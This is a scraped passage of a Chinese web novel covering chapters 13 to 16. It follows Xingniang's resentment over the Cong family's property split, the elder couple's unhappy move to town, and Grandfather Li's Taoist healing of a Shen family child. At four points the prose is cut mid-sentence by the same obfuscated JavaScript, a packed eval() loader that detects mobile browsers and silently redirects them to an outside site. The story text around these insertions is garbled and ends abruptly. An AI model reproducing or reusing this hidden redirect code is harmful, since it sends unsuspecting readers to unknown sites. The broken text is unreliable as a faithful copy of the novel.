杏娘本就吃不惯丛家缺油少盐的饭菜，炒得焉了吧唧泛着黄边的小青菜里夹着几片厚厚的雪白肥肉，她筷子都不想沾边。别人吃得呼哧作响、嘴角冒油，她是越吃越饿，浑身无力。 初初嫁为人妇豪无心眼任事不知，只当别人都是好心教导，把听来的话牢记于心就怕出了差池。殊不知她手里有钱生性单纯，犹如小儿抱金元宝行走于街头闹市，别说护着财宝了，连人都能给抱走。 一来听信了旁人的话且深以为然，不觉得有何不妥，二来自家也想改善伙食，犒劳一下五脏庙府，半推半就的掏出压在箱底的银子。 今儿添一刀肉，明儿买一只鸡，乡下的花销是不大，一天两天的看不出什么。奈何吃的人多了，天长日久的没个算计，且每到逢年过节走礼的时候，陈氏拿话哄着她置办点心布匹、鱼肉肘子送娘家。 自家爹娘再没什么舍不得的，婆家既没阻拦，自然是由着性子操持。 待到年岁渐长，孩子都生了三个后，就算是个傻子也觉出不对来。更何况杏娘从小就是个聪慧姑娘，只是不擅揣摩人心，也想不到人心这样复杂多变。 嫂子当厨饭菜普通，就是自家菜园的瓜果蔬菜，也没人寻不是。 等到她烧灶时，一个个的倒点上菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457572|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，这个想吃肉那个想吃鱼，轮到她时全家都能打牙祭吃尽兴，银子当然由她出。 婆婆和嫂子娘家走礼跟别家没什么不同，几样瓜果点心提了就走，寒酸是难免的，跟她的大包小包没法比。可问题是她们都走的公账啊，只有自个是掏的小家的私房，蚊子腿再小也是肉不是。 经年累月的相处下来，杏娘总算是明了心智开了窍，可箱子最底层肥胖讨喜的银元宝只剩了浅浅一层铜板。 再来后悔已于事无补，每每想起年轻时候的蠢笨，杏娘恨不得甩自个两耳光，可惜这世上最难买的就是后悔药了。 …… “既是分了家，按理两个老的该跟着大房才是，怎地又跟你们搅合到一处了？”杨氏疑惑地问，当下百姓分家养老财产归大儿子所有，老人连带跟着住。 “哈哈！”杏娘一想起这事就幸灾乐祸，笑得合不拢嘴，“叫他们嘚瑟？叫他们甩了我们这些累赘？镇上岂是那么好住的，活该他们遭罪。” 原来一分完家，林氏就迫不及待张罗搬家，忙忙乱乱收拾了几日，闹得鸡飞狗跳噼里啪啦地响。动静大得整条垄上的人都知晓丛五爷家要发达了，还有上赶着跑来套近乎的乡野闲人。 陈氏虽没那般折腾，但也结结实实包扎了几个大包袱，把个东厢房拾掇得如同雪洞。 这就好比当上大官的穷酸秀才，未发达前看家里糟糠千般好万般妙，吃苦耐劳、能干朴素。一旦跃了龙门就横挑鼻子竖挑眼，面目可憎、上不得台盘，恨不得一脚踢到荆江里沉到底算了。 杏娘送走了这些欢喜颜开，被困浅滩平阳的龙虎们，望着东厢房门上的大锁长长吐出一口浊气。 走了也好，走个干净，再不必听那些拐弯抹角转了十七八个弯的饶人话，揣摩话里有哪些意思，自个是不是又闹了笑话。就像夜里睡觉时的梦魇，胸口仿佛被重物压得喘不过气，又挪不开，死不了人但是让人精疲力尽。 过日子本就苦多甜少，还搞这些蛇蛇蝎蝎的玩意，嫌日子过得太舒坦了，简单点不好么？ 杏娘关起门来过自家日子，搬去镇上的丛三老爷日子却不是那么好过。 所谓理想很丰满，现实很骨感不外如是。 林氏分家银到手，自知再难从婆婆手里扣出钱财来，很是精打细算一番，她本就是个精明人，此次更是节俭到了骨头缝。 要想住的顺心自然是拥有独立小院的房子，房间宽敞不说，院门一关隔绝外面的嘈杂纷扰，除去买菜连门都不用出。这样的屋子稀少且租金昂贵，林氏一打听清楚就弃了这个想头，目光转向别的房屋。 最终定下来两间远离镇中心的小屋，前后都是小巷。一间住夫妻俩跟儿子，另一间住老两口，还要隔出半间当灶房。用水要到巷口的公共水井挑水吃，茅房位于巷尾，也是公用的。 周围几条街全是这种依着巷子的小房子，住的多是些在镇上没有铺面在乡下也无田产，只能靠打零工维持生计的市井小民。条件好些的是自家祖宅，差些的赁的房子每月付租金。 至此，丛信一房开启了镇上生活的新篇章。 14. 第 14 章 大房一家安顿下来后，丛信每日早出晚归去学堂。这个学堂不是正经教科考的，招收的都是启蒙阶段的孩童，分了三个等级，每个级别十来个人。 小村镇地偏人稀，人口分布广泛散落在乡野，巴掌大的地方就镇中心的一道十字路口略微繁华。镇上既无甚传世百年的世家大族，也没有什么德高望重的当世大儒，科举文风自然浓厚不到哪去，几百年难出一个进士老爷。 然则不是说考不上秀才、举人，就不用念书了。葫芦镇上多的是拥有几十、几百亩农田的小地主乡绅，开着小铺面的商户，吃手艺饭的匠人。这些人家的子弟先不说能不能在念书上出人头地，总得要学会识字吧，要不然连个田亩契约都看不懂，且不后继无人偌大家业拱手让人。 还有那些住在乡下的富裕农户，不愁吃穿之余也会择一二天资聪颖小辈送到镇上念书，当初李苏木就是进的镇上私塾，到底比乡下蒙学正规些。 如此小小葫芦镇私塾却多，束脩也不贵，几岁孩童送进去读到十二、三岁出来正好干活，也免得成日在家惹是生非，无所事事。 丛信所在的私塾原也有一个教了几十年的老先生，每日闭着眼睛领着一群半大小子念“天地玄黄，宇宙洪荒”。学生无追求，家长不强迫，先生也乐得日日消磨打发时间，老先生白胡子一大把，牙齿掉没一半，看样子还能混个三年五载。 要不是下雨天摔了一跤跌断了腿，上了年纪的人没个半年、一年的养不好，实在请不了这么长时间的假，也不能让出这个先生宝座。 丛信念书没天分农活不擅长，当上了启蒙先生倒是兢兢业业。每日早早赶去学堂迎接学生到来，中午在那边吃饭，傍晚等学生都走光了才慢悠悠踱步往家赶。他不爱跟泥土打交道，一生痴迷于书本，纵使没啥大出息，教个蒙学还是绰绰有余的。 一个被窝睡不出两种人，林氏自嫁到丛家就以读书人娘子为荣，待成了童生娘子更是自持身份，轻易不肯抛头露面，自降身价。奈何时运不济不得不蜗居草莽乡野，干些有失身份的农活。 如今好不容易脱掉那股怎么都洗不干净带有泥腥味的粗布衣裳，即便居住在如此狭窄逼仄的房屋，也心满意得。安之素若地打理一日三餐，空闲之余绣几幅帕子挣两个零花钱。 陈氏一个土生土长的农家老太太，初到陌生之地还有些拘谨，等弄清楚周围邻居的家境日常，自觉自家也不差，瞬间抖擞起来。 整日窜完东家窜西家，走完前巷走后巷，没几天跟周围一片打得火热，大娘婶子媳妇的好不热闹。吃饭都不得闲，放下碗筷就溜达出门。 所有人都满意，唯独坑苦了丛三老爷。 丛三老爷何曾住过这样简陋的屋子，少时家里颇有钱财，住在老宅的宽敞大院。等到成婚分家，那也是整齐的前后院。到老到老住的地方居然还没家里猪圈大，他在之前是怎么也想不到世上竟还有人住在这么丁点大的地方。 隔出的半间放上一张床就不剩什么了，站两个人都显局促，他又不能跟老婆子似得跑人家家里晃荡，镇日憋闷在床边上打转。 他是在乡下住惯了的，清晨傍晚天气晴朗的时候，必要去田间地头走上一圈，看一眼庄家扯几把草，回到家饭菜能吃得更香。现在这种情形过上一年，走的路还没有他之前一天走得多，这如何不抓心捞肺。 房间狭小挨得近，隔壁打个喷嚏这边能听到口水落地的声音，别提有多别扭。 一到做饭的点，大儿媳一勺子辣酱浇下去，整间房烟熏火燎，充斥着刺鼻的辛辣味，呛得丛三老爷撕心裂肺地咳嗽，躲都没地方躲。下雨天更是折磨，水也不敢多喝，跑一趟茅房衣裳鞋袜淋个湿透。 时已入冬，里屋阴森潮湿常年见不到太阳，衣裳被褥湿漉漉带着霉味，整个人就像半截埋在泥土里，被暴雨冲刷透顶的烂木头，乌云一遮顶能长出蘑菇木耳。再下个霜上个冻，嗯……另半截可以就地掩埋，直接入土为安了。 从初冬到深冬，丛三老爷觉得自个就是一坛腌入味的酱缸子，只不过不是酱菜味，而是腌臜味。 一进入腊月，丛三老爷就催着老妻收拾家当回老家，陈氏还有些不乐意。在乡下纵使不是农忙时节，每日也要干杂活，清扫院子修整菜园，松土除草捉虫，游手好闲就要被说道，好像不做事就活不了了似的。 这里就不一样了，除了那些需要上工的人，其他人做完家里活计就是凑在一起东家长西家短，说得不亦乐乎，也不会有人整天盯着她做了什么事。 丛三老爷态度异常坚决，一改平常老好人的形象，给老妻两个选择，“要么咱们一起回去，要么我跟着老二过，你跟着老大过。”继续让他住在这种地方，他连相伴几十年的老伴都能舍弃，可见丛三老爷受荼毒之深。 陈氏心不甘情不愿地卷包袱皮。 杏娘看着早早到家的老两口甚是诧异，离过年还差着一个月呢，怎地这般早就回来了？且看他们带回来的东西跟离开时没两样，就过个年至于带这么多物件吗？ 她心里虽然疑惑，但也没问出来。 等到过完年，大房迫不及待回镇上，老两口还稳当当地住在老二家，丝毫不见启程的迹象。 杏娘还以为老人家难离故土，丛孝却看出点苗头。 原本每年收完最后一季晚稻，离过年还早，这中间的个把月丛孝都是去府城干活。唯独这次没去成，家里没住老人，剩了媳妇跟年幼的孩子在家不是个事。 过年都还在为此事烦心呢，不想事情尽出现了转机。 丛孝私下跟老爹碰了一次头，达成某种默契，又在夜里跟媳妇嘀咕一阵，夫妻二人形成共识：老两口还是继续跟着二房过。 只是杏娘深觉自家房头吃了个大亏，大房真是吃人不吐骨头，养老田亩他们得了，人却要他们来接手。 把两个老的赶出去吧，太不像话，没这么干事的；找大房要回田产吧，要不要得回来尚且两说，又得闹腾地人尽皆知。自家闹出的笑话才平息下去，已经够丢人现眼的了，再翻出来一次几辈子的老脸都丢尽了。 这事可真是……想起来就让人火大，真当他们是芝麻馅的包子——任人拿捏，可又没有其他的解决办法，只能哑巴吃黄连，有苦说不出。 …… “之前你爹说女婿是个心软的，却没软对地方，专吃些憨亏。”杨氏无不扼腕地叹息说道。 杏娘把头埋在她娘怀里偷笑。 夜色渐浓，偶偶私语渐歇，母女俩沉入安睡。 天光大亮，村庄从沉睡中苏醒，灵动的声音在清静的早晨格外悦耳、轻巧。在这广袤的乡野之中，嘈杂的湍流稀释成娟娟溪水，一切都是那么顺其自然，浑然天成。 杏娘慵懒地躺在未出嫁时的床上，暖烘烘的被窝像冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457573|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日的炉火包裹着身子。 她闭着眼睛不想动弹，听着屋外邻人清脆地交谈，鸡鸣狗吠地喧闹。一夜好眠，回到儿时成长的地方，一切烦恼都不复存在，自己仍是那个可以睡懒觉的小女孩。 她抱着被子翻个身，杨氏已不在床上，里侧呼呼大睡的女儿仍在酣眠。她睡得两颊白里透红，浓密的睫毛在眼睑下落下阴影，双手伸出被窝搭在胸前，睡颜是如此的童真、无忧无虑。 离得近了还能听到她略显粗重的呼吸，一呼一吸间被子轻缓地起伏。 杏娘抬起脑袋凑近女儿的大头亲了一口，翻身掀开被褥起床。 等她收拾好走出房门，正碰上往灶房去的杨氏，“起来了？你爹在水塘边打拳，喊他回来吃早饭。” 杏娘点头应好，跟着她娘进灶房打开后门出去。 李老爷子穿着雪白的练功服在水塘前的空地上慢悠悠比划，动作轻柔和缓，连贯顺畅，非常赏心悦目。 杏娘从小看到大，一眼看出拳法练到了尾声即将结束，她也没出声打扰，静静站立一旁等候。 李老爷子双手收势缓慢吐出一口气，偏头看向女儿，“昨晚睡得可好？” “嗯！” “你娘是不是说了我一堆坏话？”他继续问道。 杏娘忍俊不禁：“哪有，爹爹就是爱多想。” “就是说了我也不怕。”李老爷子满不在乎地道，“实话告诉你，你们家大姑子闹腾的那阵我就知道了原委。起先是不想替王家的蠢材收拾烂摊子，后面就是故意不去掺和你们的分家。现在这样的结果好着呢，正合我意。” 杏娘目露疑惑望着她爹，所有人都说他们分家分的不公正，自家损失惨重大房得利，就连娘都怪爹爹没去丛家施压。 “我千娇万宠养出的闺女可不是去别家当牛做马，任劳任怨的，要是那样还不如全家一起饿死算了。不过你放心，爹爹无论如何都会帮你，大不了弃了丛家，把孩子们都接过来，爹娘养得活你们母子。”李老爷子郑重承诺。 杏娘哭笑不得，“爹你又胡说八道，哪有带着孩子回娘家住的。” “你只管记着就是。”李老爷子淡声说道，“有两个老的帮着料理这十几亩地，你也不会太累，粮食实在不够吃的话也不打紧，大不了买几袋就是了，多大点事，要那么多地有何用。” 杏娘跟她爹是愈发说不到一块去了，是个人都明白地越多越有钱的道理。不过她知道爹爹是她见过的人里最聪明厉害的，听不懂没关系，照着他说的做就是了。 于是顺从地跟着他往灶房走去。 “对了。”想起一事忘了交代，李老爷子停下脚步转身对着女儿正色说，“青叶眼瞅着又大了一岁，有那等无良之家就爱把这般半大的女童当大人使唤，没日没夜地守在田里干活。说什么嫁出去的女儿泼出去的水，趁着没出嫁帮家里一把。” “什么狗屁倒灶的歪理，养不起就不要生，生了就要好生对待。你可不要做这般无耻之事，你小时我们可没要你去田里扯过一根草。” 杏娘有些恼了，“爹，你再说我就不理你了，难道我是后娘不成？” 李老爷子见惹恼了女儿，微微一笑：“这次女婿栽了个大跟头，人教人教不会，事教人一教就会，往后你们两口子也能过个安生日子。” 说完转身往前走，父女俩回到灶房吃早饭。 15. 第 15 章 等吃完了加了白糖的水煮荷包蛋，杏娘收拾碗筷时，李苏木闯了进来。 “小姑，我帮你打水洗碗。” 两人一前一后走到院子的水井边，李苏木缓慢放下绳子，待木桶装满水，双手交替拉起水桶。 杏娘放下木盆，走到灶房檐下拿了两个小板凳过来。待李苏木倒下半盆水，她打湿丝瓜络擦洗碗筷。 “在医馆可还习惯？”杏娘轻声问。 李苏木垂下眉眼，胳膊搭木桶边沿以指划水，“没什么不习惯的，总归我年轻，又是才进去的，多听些使唤也是应当的。再怎么也比不上种地辛苦，爷奶这般大年纪还要去地里劳作，医馆里的那点事算个什么。” 保安堂原先只有一个上了年纪的张大夫，正缺个年轻大夫坐堂问诊呢，李苏木恰好过了医学考核，顺理成章进了保安堂。 杏娘倒掉盆里的污水，擦干净盆子，李苏木再倒进大半盆水，杏娘把碗筷放进去清洗第二遍。 “我怎么看你闷闷不乐，不是很高兴的样子？” 两人说是姑侄，其实就差了五岁，李苏木自打会走路就在这个姑姑后头跟手跟脚。 两人一起折手绢、穿花绳、躲猫猫，农忙时大人没空管，一张床上睡两个手拉手的娃娃。杏娘跟小姐妹们玩也带着他，把他打扮成女孩子，梳小辫扎红花，惹得女娃们哈哈大笑。 他也不恼，抿着红艳艳的小嘴巴，顶着两红脸蛋子像个小媒婆。 待大了些，跟在杏娘后头的侄儿侄女们便多了起来。孩子一多饭食就不够吃，杏娘房里虽有些零嘴，却填不满这些个无底洞。能进她闺房分享零嘴的人，唯有李苏木一个，谁叫他两关系最好呢。 杏娘这个当姑姑的自觉有责任喂饱他们的肚皮，于是带着一群丫头小子上树掏鸟蛋，下水捉鱼虾。 只要能进肚子的，都被他们祸害个够，堪比蝗虫过境寸草不留。及至她嫁人回娘家，还有乡邻见了打趣“疯丫头回来了”，实在是她彪悍的形象给人留下了深刻的印象。 所以杏娘虽是长辈，跟几个大些的侄儿侄女们关系却好，这是分吃一条鱼的交情啊！ 李苏木没有搭话，端起盆里的水倒掉。 开春气温依旧寒凉，早起的日头照在人身上软绵绵不晒人，院子里种了一颗硕大的桂花树，枝繁叶茂。此时桂花早已凋零，离得近了好似还能闻到一股浓郁的花香。 两人无声地坐在树下，李苏木摘下两片叶子反复揉捏，“不是医馆的事。” 他耷拉着眉毛，很是苦闷地叹口气，“先前离家远，一年难得回几次家，每次见面大家都很亲热。现在能长住在家了，叔叔们反倒不那么待见我，兄弟间也多有隔阂，时常说些酸言醋语，仿佛我抢了他们的锦绣前程。” 杏娘莞尔一笑，开解他，“什么缘由我不说，你也清楚。当初你爷爷选中了你，自有他的道理，你又没做错什么？若是一味纠结此事，反倒辜负了他老人家的一番好意，伤了他的心，也对不起你吃的那些苦头。” “你的那些叔叔兄弟们只不过是现在看见你出息了眼热，殊不知就算机会给到他们头上，他们能不能受得了那份苦还不知道呢！” 停顿了一会，她继续说道：“你现在要做的就是好好当你的坐堂大夫，做出名堂来，什么时候小李大夫的名头跟李老先生一般响亮了，我就又多了一个靠山。你也是练过书的人，何必庸人自扰，自寻烦恼。” 他就知道小姑是最了解他的人，李苏木释然一笑。 独木不成林，村人聚族而居，以血缘为纽带形成一个独特的利益共同体，同享荣誉共担风险。 所谓共患难易，同富贵难，当大家吃一样米喝一样水时，尚且能拧成一股绳一致对外。而一旦有个别突然冒了出来，他穿的衣裳，来往的朋友都是那么的与众不同，剩下的人就会群起而攻之。 都是一个祖宗，怎么富贵起来的是他，不是我？人皆有嫉妒之心，且觉得自个也不差。十个指头有长短，长辈的取舍不仅关乎他个人的一生，还决定了一个家族的荣辱成败。 说到这就不得不提起李老爷子的另一段传奇故事了。 …… 镇上保安堂主家姓沈，是府城沈家医馆出了五服的旁支，与嫡支培养大夫不同，他们主要以贩卖药材为生。在葫芦镇开了唯一的一家医馆，聘请旁姓大夫坐诊。 十几年前深秋的一天，保安堂沈府老太太过六十一大寿。玉陵县的百姓认为生死簿上六十岁是记录在案的，不应大张旗鼓的操办寿辰，以此躲过阎罗王的耳目。一旦悄无声息的过完六十岁，到了六十一就可以大肆张罗喜宴宾客。 毕竟人生七十古来稀，即便是六十的老人也不多见。 秋高气爽，万里无云，沈府张灯结彩，朋客满堂，为了延绵老太太的福泽，恩惠乡邻，足摆了三天的流水席，吃得葫芦镇上的人交口称赞，竖起大拇指夸沈府做事大气，老太太的福报还在后头哩！ 恰逢府城嫡支沈家的五奶奶从娘家归来路经葫芦镇，既碰上这般难得的喜事少不得停下歇脚道个贺。虽是出了五服的旁支，到底是一个祖宗的亲戚，且这般大年岁的高寿老人不常见，沾沾喜气也是应有之意。 若没碰见便罢了，正好赶上了不去喝一杯喜酒，待回了府城少不得被人说嘴。五奶奶带着小儿子是还不到晌午到的，打算过一夜第二天早上再启程。 沈府自是喜不自禁，不止太太奶奶们，连老爷们也出大门迎接五奶奶。 本是天大的一件好事，不想到了晚上事情急转直下。府城的七少爷不知是吃坏了肚子还是犯了什么忌讳，突然开始发热，渐渐的竟上吐下泻起来。 起初五奶奶只是有些许担忧并不急躁，小儿生病是常有的事，他们这种人家哪会怕这般常见的症候。 保安堂沈大老爷安抚几句，沉稳地吩咐身旁的老管家：“去把张大夫请来。” 张大夫白天才到沈府吃了酒，现下还没歇息，正跟妻儿摆龙门阵，大谈五奶奶偌大的风光排场，真真是……想不到府城沈家如此豪奢。以前只是听说过主家出自府城医学大家，这还是头一次亲眼见识到名门世家的体面。 等管事的上门，一听清楚他的来意，急匆匆背了药箱赶到沈府。 望闻问切一番，斟酌着开了一道方子递予沈大老爷。 沈大老爷接过方子仔细查看，他虽然不是正经大夫，到底家学渊源深厚，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457574|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是日常跟药材打交道，一般的方子自是不陌生。 待看过方子，吩咐仆人拿药材煎药给七少爷喂下，一盏茶后七少爷日渐平缓，躺在床上呼吸匀称。 正当众人欣慰不已低声寒暄时，七少爷身子猛地抽搐打颤，“哇”的吐出刚吃下的汤药。接着仿佛冲垮的放水口怎么堵都堵不住，直吐得整张床榻满是秽物，酸臭不已，到了后面已吐不出什么东西，整个人干呕，好似要把胆汁都呕出来。 一通忙乱过后，五奶奶鬓发凌乱汗湿，哭的双眼通红，衣襟下摆沾了黄色的污迹此时也顾不上了。她拿着帕子给床上的儿子擦拭额头上的汗水，小声地喊：“瑜儿，好些了么，还难受吗，没事的不怕，娘就在这。” 换了全套新被褥的床上，沈瑜蜷缩着身子裹在薄被下轻微发抖，牙齿碰撞的“咔嗒”声清晰可闻，面色通红唇色却发白，嘴里发出含糊不清的囔囔音。 五奶奶心如刀绞，沈大太太亦是焦急的陪在一侧，手里的帕子不停擦拭额角，嘴里不住说些宽慰地话。又慌忙张望屏风外的丈夫，指望他赶紧拿个主意，这样下去肯定不行。 沈大老爷也知道事态严重，这已经是第三张药方了，替换了药性更猛的药材，剂量也加大了，若还是不行的话…… 嫡支的小少爷好意来家里祝寿，若是出了什么意外，他如何向府城沈家交代，想起沈家的富贵权势，冷汗浸湿了他的里衣。镇上最好的大夫最好的药材都在这里了，此时就是想赶路去府城也来不及，就怕路上真出差池。 他焦躁地在隔间来回踱步，心里的想法混乱杂陈，一时想到最坏的结果，一时茫然无头绪。 侍立在一旁的老管家犹豫再三，看着老爷六神无主，彷徨焦虑，终是不忍地上前小声说道：“老爷，您须得早下决定，再拖下去就来不及了。我听说白水湾的李大夫有些个神通，治好了不少疑难杂症。此时不是忌讳的时候，要紧的是医好小少爷，什么法子咱都得试试，万一灵验了呢？” 沈大老爷也听说过这个走方郎中，平常这些人在他眼里连蝼蚁都不如，不入流的玩意焉敢在祖师爷面前班门弄斧，一棍子打不死他。况且还弄些神神鬼鬼的东西糊弄百姓，沈府对这些向来是深恶痛绝，他倒也识趣，从来都是绕着沈府大门走。 沈大老爷犹豫不决拿不定主意，自个正经的医学世家反倒要求助这些旁门左道，日后传出去还有何名声可言？ 此时厢房的沈瑜突然浑身剧烈抽搐，手脚僵直，眼皮翻白，嘴角竟然流出白沫。 五奶奶惊呼一声扑到床上，抱着儿子的身体悲鸣地喊他的名字，“瑜儿，你怎么了，你不要吓娘好不好，瑜儿，娘求你了。” 房间内刹时一片混乱，仆人奔走惊呼声不断。 沈大老爷浑身打个冷颤，心一横对老管家说道：“拿了我的帖子，你……你亲自去请李大夫，无论如何也要把他请来。”顾不上那么多了，七少爷要是出了意外大家都吃不了兜着走，若是真的不幸言中了，还有个李大夫…… 到时即便保安堂不出手，府城沈家也不会放过他。 老管家领命转身就走，拿帖子备礼物登车门，车夫一甩鞭子，夜色下的马车朝白水湾狂奔而去。 16. 第 16 章 李老爷子双手背在身后，仰头望着头顶的月亮。 月亮高高悬挂在半空，遥不可及，惨白的月光洒满大地。它静悄悄地立在那里，亘古不变，不理世事变迁，沧海桑田。 曾几何时，身为小叫花子的他，最大的愿望无非是能讨到一碗馊掉的米饭，能找到一蓬栖息的草垛。孤苦无依命悬一线，生前无人在意，死后六亲尽绝。 谁能想到他会有今时今日的一切，妻儿娇女环绕在侧，孙男娣女承欢膝下。日子过得不冷不热，吃穿不愁，平安顺心。 人这一生的际遇啊，可真是变幻莫测。有的人早上还在指点江山，意气风发，晚上就下了大狱成了阶下囚；有的人前一刻平平无奇，泯然众矣，下一刻成了天子门生，荣华富贵唾手可得。 他这一生是不幸的，少时双亲亡故，无人可依只得流浪四野；他又是幸运的，得岳父赏识收为弟子，手把手教导他识字念书，辨认草药诊断病症，修习道法，更嫁予女儿得以成家。 从此他不再是如孤魂野鬼般在这世间飘荡无处可去，他也有了根，有了抵抗随波逐流的牵挂。 掌中质地坚硬的请帖是如此的厚重，命运的分叉口再一次显现在他眼前。要么安分守己，平稳度日，要么富贵险中求，为子孙搏一个前程。 成则后代无忧，败则满盘皆输，究竟该如何取舍才能立于不败之地？ 李老爷子深吸一口气，徐徐吐出，他攥紧拳头毅然转身走向堂屋，背影坚定步伐稳健。 …… 沈府正房堂屋的神龛上供着三盘时令果子，茶、酒各三盏，香烛、香炉摆放整齐，一旁的桌上备有笔墨、朱砂、黄纸等物。 李老爷子身着黄色法衣，面容端肃，神态威严冷然不可侵犯。 取出药箱里的一根香，李老爷子递给沈大老爷：“烦请把小少爷安置在东边窗下的榻上，紧闭窗户在其额前放一香炉点上此香，另取一干净药罐装上一半水拿来。” 沈大老爷接过香一看，很普通的线香，带着檀香、沉香等药材特有的气味。他把香交给老管家，微一点头，老管家躬身离去。 五奶奶神情狼狈地靠在椅背上，脸上精致的妆容被泪水冲刷得零落，她神情茫然，忐忑中夹着几许期盼，捏着帕子的手还在轻微颤抖。 一缕青烟缓缓升起，不一时屋里的人都闻到了一股熟悉的檀香。 五奶奶微一皱眉，她的夫家是医家名门，公公、夫君都在太医院任职，耳濡目染之下，她也略懂些医理通晓些草药。况且制香本就在闺阁中甚是流行，依据节气交替花草繁茂，制作类型、香味迥异的香是为一种雅趣，深得内宅女眷的喜爱。 其他人只闻到了常见的檀香，她却嗅到了一股若有似无的异香。不同于以往接触过的任何一种药材或草木，她敢肯定这是一种她不熟知的草药香。裹夹在檀香之下，淡淡的，普通人绝对难以察觉的存在。 这个乡野道士进来给儿子诊脉时，她就在屏风后面观察过他。年过四旬，身材挺拔，如平常大夫那样一系列动作过后，沉吟半晌没说什么就出去了。 五奶奶不知道他是真有本事还是故弄玄虚，但她此时别无选择只能赌一把，只要能治好儿子，她愿意付出一切代价。 若是……她握紧了手中的帕子。 李老爷子点燃三柱香插入香炉，跪拜祷告一番。起身后屏息端立，头微低目下视，右手握笔，存思运气，一鼓作气画符于黄表。左手除第四指平伸，指尖朝上外，其余四指向内微弯。与此同时，嘴里发出轻声地咒语：“天地玄宗，万炁本根……” 咒语结束，最后一笔顺势收尾，李老爷子将笔尖朝上，笔头朝下，贯力于笔头，连撞符纸三次，最后以金刚剑指敕符，提符纸绕香炉三次。 将符纸放入药罐，李老爷子从随身佩戴的葫芦里倒出一粒药丸也置于水中，提起药罐交给仆从，“以文火慢炖一盏茶的时间，待药丸完全融于水后服侍小少爷喝下，分两次服用，间隔两个时辰。” 语毕拿起拂尘在堂屋踏罡步斗，布置结界。 五奶奶小心翼翼端着碗喂儿子服药，沈瑜此刻已陷入半昏迷状态，人事不知，入口的药汁沿着嘴角蜿蜒流出。五奶奶慌忙挪开药碗，拿帕子擦拭儿子嘴角，调整臂弯让他的头更往后仰。 强忍着心酸，她指挥丫鬟捏紧儿子的脸颊，把一碗药慢慢倒进他的嘴里。 喂完了药，五奶奶疲惫地靠着床头，现在只能等了，等她赌一把的结果。 …… 晨光微曦，隐约可见东边露出一抹亮光，看来今天是个好天气。 “叩叩”两声敲门声后，厢房外响起老管家恭敬的声音，“不知先生可醒了？” 门扉打开，李老爷子一身青色布衣立于门后。 老管家躬身作揖，“扰了先生安歇，本不该此时前来冒犯，只是五奶奶实在太过欢愉，命我前来请先生一叙，这才斗胆搅了先生清梦。” 李老爷子一摆手，“无妨，我每日也是这个时辰起来，老管家请带路便是。” 两人一前一后向正屋走去。 屏风后隐约可见一女子身形，沈大老爷陪立一侧，众人厮见后落座。 “昨晚多亏了先生仗义相助，犬子方逃过此劫，妾身在此多谢先生救命之恩。”一道轻柔的女声响起，随之女子站起身福了一礼。 李老爷子慌忙站起侧身避过，“夫人谬赞了，小少爷吉人自有天相，突遭厄运，即便没有在下，也会逢凶化吉，遇难呈祥。” 五奶奶并不在意他的谦词，昨天晚上给儿子服下第一碗汤药，仅过了一刻钟，瑜儿的症状便减缓了，不再惊厥打颤。虽然依旧高热不退，至少不再呕吐、腹泻，也没有呓语梦魇。 这使得她信心倍增，生生熬到丑时喂下第二碗药，儿子的高热竟开始慢慢退了。速度很慢，不像发热时那样快速，一点一点往下降，又过了一个时辰，额头上的热度只比常人高了少许。 五奶奶高兴的站起身，不料身子打晃险些一头栽倒，此时才猛然发觉天已然微亮，不知不觉熬了快一宿。之前担惊受怕浑然察觉不到累，此刻心情一松懈方知身子已疲惫至极。 在众人的劝说下，五奶奶安排好轮流值守的丫鬟婆子，揉着青黑的眼睛回房休息，其余人等亦自有安排。只是心里到底记挂儿子，卯时刚过就惊醒而起。 厢房里寂静无声，一个丫鬟坐在地上头趴在床脚边睡着了，另一个丫鬟靠着床柱子打瞌睡，因姿势别扭频繁睁眼打哈欠。睡眼惺忪间看到五奶奶走过来，慌忙站起身行礼，人往后退一脚踢醒床边的丫鬟。 五奶奶没有理会她们的小动作，她府下身子凑近儿子仔细察看。 沈瑜闭着眼睛睡得安详，许是折腾了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457575|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 